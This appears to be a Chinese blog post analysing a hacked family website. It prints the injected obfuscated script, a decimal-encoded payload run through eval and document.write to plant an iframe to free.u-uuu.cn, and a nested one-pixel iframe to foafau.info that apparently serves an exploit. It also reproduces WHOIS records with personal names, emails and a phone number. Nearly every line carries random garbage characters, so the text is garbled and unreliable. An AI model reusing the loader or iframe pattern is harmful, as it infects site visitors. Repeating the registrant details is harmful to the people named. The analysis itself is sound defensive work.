首发在我的博客里面，
&~EOM aMWN Zv http://www.areway.cn/?p=175 i\b2P2
`B MaM7u:kD# *,u{~(thR 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
r+2dBp3 }ls>~u N <script>t=’60,105,102,114,97,109,101,
}^t?v*kcA 32,115,114,99,61,104,116,116,112,58,47,47,
>E# 4mm 102,114,101,101,46,117,45,117,117,117,46,99,
uNjy&I: 110,47,101,114,114,111,114,46,104,116,109,
4{ & 32,119,105,100,116,104,61,49,48,48,32,104,
Qpc>5p![3 101,105,103,104,116,61,48,62,60,47,105,102,
v >6r| { 114,97,109,101,62′;
t s&C0 t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
t1S\M%? [LK
9^/V <script>t=’60,105,102,114,97,109,101,32,115,
3yDvr*8-@ 114,99,61,104,116,116,112,58,47,47,102,114,
#<:k hs6 101,101,46,117,45,117,117,117,46,99,110,47,
;pJ7k23( 101,114,114,111,114,46,104,116,109,32,119,
b %6 _LK[ 105,100,116,104,61,49,48,48,32,104,101,105,
(J;<&v}Gad 103,104,116,61,48,62,60,47,105,102,114,97,
L` BLkDm
109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
6IA~bkc} document.write(t);</script>
O B:G5B` 0FB ifK <html xmlns=”
"A7tb39* http://www.w3.org/1999/xhtml A'T! og|5 “>
hO8B]4=&* <head>
a,.9 eHf <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
y)2]:nD`B <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
y!j1xnzki <title>首页 - 爱生活家庭网
C|+ 5F,D 4I$ #R 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
_ #I0m( 转换字符串后的大概内容是（谁点击后果自付）：
LdcP0G\"VG <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
,fbO} xYbF76B 查询玉米u-uuu.cn的详细信息：
r BaK$Ut Domain Name: u-uuu.cn
PeOgXg)L`z ROID: 20070901s10001s64972306-cn
@U,cj>K Domain Status: ok
AyWCb
Registrant Organization: 王雷
g_`8K,6ln Registrant Name: 王雷
;,D7VxWhY Administrative Email:
czlovexs@126.com iPao54Z Sponsoring Registrar: 北京万网志成科技有限公司
YB[P`Muj Name Server:ns.yovole.com
LS;kq', Name Server:ns1.yovole.com
Xv9C D Registration Date: 2007-09-01 17:54
};|'8'5 Expiration Date: 2008-09-01 17:54
*ZHk^d: 最后PING了一下地址 都没有什么….
0z . & 7ORwDR,`5 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
B; ~T|ex u <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
z[B7k%} <script language=”javascript” src=”
YS9| J=!~ http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script &A>J> b >
7J)-WXk 这个玉米应该有可能是木马作者的：
/}V9*m D2 foafau.info的详细信息：
=d 9%ce Access to INFO WHOIS information is provided to assist persons in
~{J.br` determining the contents of a domain name registration record in the
2HUoT\M Afilias registry database. The data in this record is provided by
mY -r: Afilias Limited for informational purposes only, and Afilias does not
l`d=sOB^ guarantee its accuracy. This service is intended only for query-based
umc!KOkL access. You agree that you will use this data only for lawful purposes
4JucNGv and that, under no circumstances will you use this data to: (a) allow,
/%~`B[4F enable, or otherwise support the transmission by e-mail, telephone, or
|b|p0Z%7{ facsimile of mass unsolicited, commercial advertising or solicitations
Q-AN~k8+)[ to entities other than the data recipient’s own existing customers; or
A\:M}D-( (b) enable high volume, automated, electronic processes that send
l#Iof)@# queries or data to the systems of Registry Operator, a Registrar, or
xZ .:H&0G Afilias except as reasonably necessary to register domain names or
zk?lN s modify existing registrations. All rights reserved. Afilias reserves
Fik*7!XQ8 the right to modify these terms at any time. By submitting this query,
;kdJxxUox you agree to abide by this policy.
!JJY ( o Domain ID:D22418703-LRMS
"p<f#s} Domain Name:FOAFAU.INFO
wI)W:mUZZ Created On:20-Nov-2007 16:05:42 UTC
*}FoeDe Last Updated On:20-Nov-2007 16:05:44 UTC
w \a\I Expiration Date:20-Nov-2008 16:05:42 UTC
^#;2 Pd> Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
7p{lDQ Status:CLIENT DELETE PROHIBITED
O *CKyW_$t Status:CLIENT RENEW PROHIBITED
[qc90) ^Q, Status:CLIENT TRANSFER PROHIBITED
UJO+7h' Status:CLIENT UPDATE PROHIBITED
?=6zgb"9- Status:TRANSFER PROHIBITED
CpA=DnZ Registrant ID:GODA-040110615
~s+\Y/@A Registrant Name:liu hong
).LJY<A Registrant Organization:
#;+GNF}0mG Registrant Street1:beijing
Bdf3@sbM] Registrant Street2:
NVP~`sxiZ Registrant Street3:
8L0#<"'0 Registrant City:beijing
|= ~9y"F Registrant State/Province:
5'@}8W3b Registrant Postal Code:100000
g=b 'T- Registrant Country:CN
W;2y.2* Registrant Phone:+86.860108888777
V;.=O}Lr Registrant Phone Ext.:
/6g*WX2P1 Registrant FAX:
5<9}{X+@o Registrant FAX Ext.:
?'^xO: Registrant Email:bbbshiji@163.com
7&2xUcsz) Admin ID:GODA-240110615
D zb@H$BQ7 Admin Name:liu hong
S);bcowf_ Admin Organization:
zvE] 4}VL? Admin Street1:beijing
n{|~x": 9V Admin Street2:
" @.hz@> Admin Street3:
Yf|+p65g Admin City:beijing
iX}EJD{f Admin State/Province:
fy7]I?vm@ Admin Postal Code:100000
od$Cm5 Admin Country:CN
I/t2 c =f Admin Phone:+86.860108888777
~|riFp=J Admin Phone Ext.:
0&zp9(G5 Admin FAX:
PE-Vx RN) Admin FAX Ext.:
-GQ`n01 Admin Email:bbbshiji@163.com
$33wK Billing ID:GODA-340110615
wTqgH@rGtR Billing Name:liu hong
x]w%?BlS Billing Organization:
*&!&Y*Jzg Billing Street1:beijing
T2GJ oJ! Billing Street2:
ONg_3vD{ Billing Street3:
GkVV%0;&J1 Billing City:beijing
(FP -
K Billing State/Province:
!M\8k$#"n Billing Postal Code:100000
[8![UcMq Billing Country:CN
p%8y!^g Billing Phone:+86.860108888777
^C_ ; u z Billing Phone Ext.:
YDO#Q= q% Billing FAX:
WUZusW5s Billing FAX Ext.:
c JGU~\ Billing Email:bbbshiji@163.com
4; y*y tY* Tech ID:GODA-140110615
A(ql}cr Tech Name:liu hong
=56O-l7T*w Tech Organization:
n }0[EE! Tech Street1:beijing
5 !-'~ W Tech Street2:
:(E.sT "R Tech Street3:
/a N lr>^ Tech City:beijing
!np-Jmi Tech State/Province:
L~=h?C< Tech Postal Code:100000
c#Y/?F2p Tech Country:CN
VM88#^ Tech Phone:+86.860108888777
~}+F$& Tech Phone Ext.:
\'x. DVp Tech FAX:
;X*I,g .+H Tech FAX Ext.:
22(7rUkI Tech Email:bbbshiji@163.com
=HH}E/9z Name Server:NS27.DOMAINCONTROL.COM
OjFB_
N Name Server:NS28.DOMAINCONTROL.COM
ch!/k Name Server:
"]B:QeMeF! Name Server:
f
}P6P>0 T Name Server:
On z@A" Name Server:
67?O} ~jbG Name Server:
\$$DM"+:;H Name Server:
) 7w%\i{M Name Server:
nF`_3U8e Name Server:
=~15q=XY0 Name Server:
}}G`yfs}r Name Server:
c>mTd{Abi Name Server:
v4OroG =^ #-W
a3P 接着下载每个文件里面的代码：
N" L@ 一步一步看..
9bwG3jn4? 
8`Ih>
D c 
QbrR=[8b 
[3o^06V8j 
#% 5[8~& 
0w<vc}{t 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
